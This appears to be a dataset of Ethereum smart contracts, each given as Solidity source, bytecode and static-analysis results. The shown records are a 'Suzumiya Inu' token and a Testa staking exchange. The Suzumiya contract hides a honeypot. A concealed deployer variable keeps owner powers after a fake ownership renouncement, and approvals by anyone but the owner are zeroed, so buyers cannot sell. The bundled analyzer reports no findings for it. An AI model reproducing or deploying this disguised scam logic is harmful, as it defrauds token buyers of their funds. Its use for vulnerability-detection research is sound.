"SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Suzumiyainu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'Suzumiya Inu'; string private _symbol = 'Suzinu '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d4601f55d42b0fa8c1267cb39109efd2c6e68b27f56beae637bb2797053d784964736f6c634300060c0033
{"success": true, "error": null, "results": {}}
515
0xEc7B95ba343224A9ED1EEe230912055DcD7081CA
pragma solidity ^0.5.0; contract TestaExchange { ERC20Token testa = ERC20Token(0x1da65B1868e2d36d06d7A44DBD2Be98e49E1f7f9); ERC20Token jTesta = ERC20Token(0xEc7B95ba343224A9ED1EEe230912055DcD7081CA); function stake(uint _value) public { testa.transferFrom(msg.sender, address(this), _value); jTesta.transfer(msg.sender, _value); } function unstake(uint _value) public { jTesta.transferFrom(msg.sender, address(this), _value); testa.transfer(msg.sender, _value); } function getStakedBalance() public view returns (uint) { return testa.balanceOf(address(this)); } function balanceOf(address _owner) public view returns (uint) { return jTesta.balanceOf(_owner); } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) public { uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already revert() if this condition is not met // if (_value > _allowance) revert(); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert("approve revert"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint value); event MintFinished(); bool public mintingFinished = false; uint public totalSupply = 0; modifier canMint() { if(mintingFinished) revert(); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint _amount) public onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { if (paused) revert("it's paused"); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { if (!paused) revert("it's not paused"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } /** * Pausable token * * Simple ERC20 Token example, with pausable token creation **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) public whenNotPaused { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) public whenNotPaused { super.transferFrom(_from, _to, _value); } } /** * @title ERC20 Token */ contract ERC20Token is PausableToken, MintableToken { using SafeMath for uint256; string public name; string public symbol; uint public decimals; constructor(string memory _name, string memory _symbol, uint _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract TestaToken is ERC20Token("Testa", "TESTA", 18) { constructor() public { mint(owner, 7777777 * 10 ** decimals); } } contract JTestaToken is ERC20Token("jTesta", "jTESTA", 18) { constructor() public { mint(owner, 7777777 * 10 ** decimals); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80635c975abb116100a25780638da5cb5b116100715780638da5cb5b146103f357806395d89b411461043d578063a9059cbb146104c0578063dd62ed3e1461050e578063f2fde38b146105865761010b565b80635c975abb1461033557806370a08231146103575780637d64bcb4146103af5780638456cb59146103d15761010b565b806323b872dd116100de57806323b872dd14610221578063313ce5671461028f5780633f4ba83a146102ad57806340c10f19146102cf5761010b565b806305d2035b1461011057806306fdde0314610132578063095ea7b3146101b557806318160ddd14610203575b600080fd5b6101186105ca565b604051808215151515815260200191505060405180910390f35b61013a6105dd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017a57808201518184015260208101905061015f565b50505050905090810190601f1680156101a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610201600480360360408110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061067b565b005b61020b610866565b6040518082815260200191505060405180910390f35b61028d6004803603606081101561023757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061086c565b005b6102976108ff565b6040518082815260200191505060405180910390f35b6102b5610905565b604051808215151515815260200191505060405180910390f35b61031b600480360360408110156102e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a31565b604051808215151515815260200191505060405180910390f35b61033d610baf565b604051808215151515815260200191505060405180910390f35b6103996004803603602081101561036d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc2565b6040518082815260200191505060405180910390f35b6103b7610c0b565b604051808215151515815260200191505060405180910390f35b6103d9610cb5565b604051808215151515815260200191505060405180910390f35b6103fb610de2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610445610e08565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61050c600480360360408110156104d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea6565b005b6105706004803603604081101561052457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f37565b6040518082815260200191505060405180910390f35b6105c86004803603602081101561059c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fbe565b005b600360159054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106735780601f1061064857610100808354040283529160200191610673565b820191906000526020600020905b81548152906001019060200180831161065657829003601f168201915b505050505081565b6000811415801561070957506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f617070726f76652072657665727400000000000000000000000000000000000081525060200191505060405180910390fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b60045481565b600360149054906101000a900460ff16156108ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f697427732070617573656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6108fa838383611091565b505050565b60075481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461096157600080fd5b600360149054906101000a900460ff166109e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f69742773206e6f7420706175736564000000000000000000000000000000000081525060200191505060405180910390fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a8d57600080fd5b600360159054906101000a900460ff1615610aa757600080fd5b610abc8260045461133a90919063ffffffff16565b600481905550610b1482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461133a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a26001905092915050565b600360149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6757600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d1157600080fd5b600360149054906101000a900460ff1615610d94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f697427732070617573656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e9e5780601f10610e7357610100808354040283529160200191610e9e565b820191906000526020600020905b815481529060010190602001808311610e8157829003601f168201915b505050505081565b600360149054906101000a900460ff1615610f29576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f697427732070617573656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b610f3382826113c2565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461108e5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061116482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461133a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061124f828261155590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b6000808284019050838110156113b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b61141481600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155590919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461133a90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000828211156115cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b60008284039050809150509291505056fea265627a7a72315820ff88dcf6801d9c78bdb88e060866a6d5f5634c216f548954e1fa1562e3ab672764736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
516
0x38bb80cE6543DeCF2c123F30117BE3D75dc32297
